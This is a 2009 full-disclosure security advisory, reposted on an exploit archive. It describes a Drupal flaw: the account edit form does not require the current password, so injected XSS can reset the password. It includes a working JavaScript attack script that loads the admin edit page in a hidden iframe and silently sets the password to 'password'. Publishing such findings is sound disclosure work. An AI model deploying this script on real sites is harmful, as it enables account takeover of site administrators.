

drupal-passwdxss.txt

Article URL

[exploit.php?eid=127727419649b1ab314e5984.24334605](http://www.securityhome.eu/exploits/exploit.php?eid=127727419649b1ab314e5984.24334605)

Author

SecurityHome.eu

Published: 06 March 2009

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

Problem Description:

There have been quite a few Cross Site Scripting (XSS) vulnerabilities discovered in Drupal modules recently. Many people scoff at XSS and even argue that it's a low threat vulnerability. In many cases this is certainly true, however XSS can be used as an element in an attack that leverages other security weaknesses to devastating consequence. A case in point is the password changing option in Drupal. Drupal does a wonderful job in preventing against Cross Site Request Forgery (XSRF or CSRF) by placing tokens in forms to validate posts. Drupal provides a token in the id "edit-user-edit-form-token" in the edit user form (found at ?a=user/X/edit where X is the user id number). A sample value contained in this hidden form field is

"5545a410de3662f1844af7ee6f1ee770" - a value sufficiently long and random that an attacker would have great difficulty in guessing the value. However, the Drupal account page doesn't require users to enter the current account password in order to change the password to a new value. This flaw, combined with a well crafted XSS attack, could be used to change a user's password to an arbitrary value. What's worse, Drupal uses session cookies by default that can keep users logged into the site for days. This means that a user could be the victim of a password changing attack and not even realize their password had been changed for some time (until their session cookie timed out or they logged out of the site) when they were forced to log back in to the site. The user would still be able to request a password reset via e-mail, so they would not be locked out of the site, but they might have their account hijacked for some time in the interim.

Exploiting the Flaw:

To accomplish a malicious password change via XSS is quite easy. The technique can use an invisible iframe that loads the account editing page. This is similar to a cross site request forgery, except that by embedding the iframe in the target site the request does not even have to cross domains. The iframe loads the target page, which includes the Drupal generated token. The malicious script can then fill in a new password and submit the form, invisibly to the user.

I have provided an example of such a script below. Note that this script is enhanced in that it will only change the user's password if the user has a user id of 1, or is the administrative super user. I've also left out the logic to alert a remote attacker of a successful compromise, but this is a simple feature to add. Once added to any page, this script will silently assess the user id of any logged in Drupal user who requests the page. If the user is the site admin then their password will be reset to "password" silently, without their knowledge.

Why the Attack Works:

This attack is possible because Drupal does not require re-authentication in order to perform a password reset. Because the malicious JavaScript writer doesn't have to provide an unknown password, there is no barrier to the update. In order to prevent against this sort of attack Drupal would have to add another field in the password changing (user edit) screen where users were required to enter their existing password.

Using the Attack:

The JavaScript snippet below could be injected in any number of ways into a site. In fact, many Drupal sites are configured so any content creator can use the "Full HTML" input format, which is all that is required to insert JavaScript into Drupal site content. Any users with this ability or attackers who compromised such an account, would be able to attack and compromise the Drupal super user account using this method.

Notes:

Note that in the script below the Drupal site is running at 192.168.0.2 and the URL settings are such that the admin user edit screen is available at <http://192.168.0.2/?q=user/1/edit>. Note that this script could be altered to update the password of any Drupal user account, not necessarily just the administrator as it checks the "My account" link URL to determine the user id of the logged in user viewing the malicious Drupal content.

This script was tested against Drupal 5.15 on Mozilla Firefox. Some

modification may be necessary for other versions of Drupal, although Drupal 6 seems vulnerable as well. Other browsers may require separate JavaScript syntax to carry out this attack.

Attack Script:

```
<script>
function alterUser() {
var text = document.documentElement.innerHTML;
var myAccountText = text.indexOf('My account');
var i = myAccountText-2;
while (! text.charAt(i).match(/[0-9]/g)) {
i--;
}
myAccountNumber = text.substring(i, myAccountText-2);
if (myAccountNumber == 1) {
/*alert(myAccountNumber );*/
var url = "http://192.168.0.2/?q=user/" + myAccountNumber + "/edit";
document.write('<iframe id="foo" name="foo" width="1" height="1" >');
document.write('</iframe>');
window.frames['foo'].location = url;
/* Slow it down, let the load happen */
setTimeout('doNext()', 4000);
}
}
function doNext() {
var theDoc = document.getElementById('foo');
foo.document.getElementById('edit-pass-pass1').value = 'password';
foo.document.getElementById('edit-pass-pass2').value = 'password';
foo.document.getElementById('user-edit').submit();
/* Admin pass changed - TODO: alert evil overlords */
}
alterUser();
</script>
```

Follow Up:

The Drupal security team has been notified about this issue. It seems a mitigation feature may be built into Drupal 7 (<http://drupal.org/node/86299>, <http://drupal.org/node/138805>) and a verify password on change patch does exist (<http://drupal.org/node/86711>).

The text of this advisory is also available at <http://lampsecurity.org/drupal-xss-password-reset>

- - -

Justin C. Klein Keane

<http://www.MadIrish.net>

<http://www.LAMPSecurity.org>

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.4.7 (MingW32)

Comment: Using GnuPG with Mozilla - <http://enigmail.mozdev.org>

iQD1AwUBSbBC65EpbGy7DdYAAQJDCAcArCksNxWe1Wu0xGR/fK2xzAxStfqZnfkg
3r4SrvlFFFT2YOJrlAeSFI7ALNKHCyluW8iKPbYEHD9KsbdhNC6ZJ10xiKP9D3X
2xh9AibJuj7CTOacVXJfyNcYxngsArzmnUo44qZOl+dch7JG1adSD2fVntcDh1F4
+W3qH+QE8Q5OzdVrachzdAZytv9LLHv907xfSWo40IERFpt6Xr1HmM16Y7XYuwcA
rbEvWGmNgkPUMrcQ2mfIN2/vRnReeJ/693sfhnEd8nXUPUbPO3EcFTakx+Tfq98n
/G+wfW+MJYQ=
=IMPE
-----END PGP SIGNATURE-----

Full-Disclosure - We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia - <http://secunia.com/>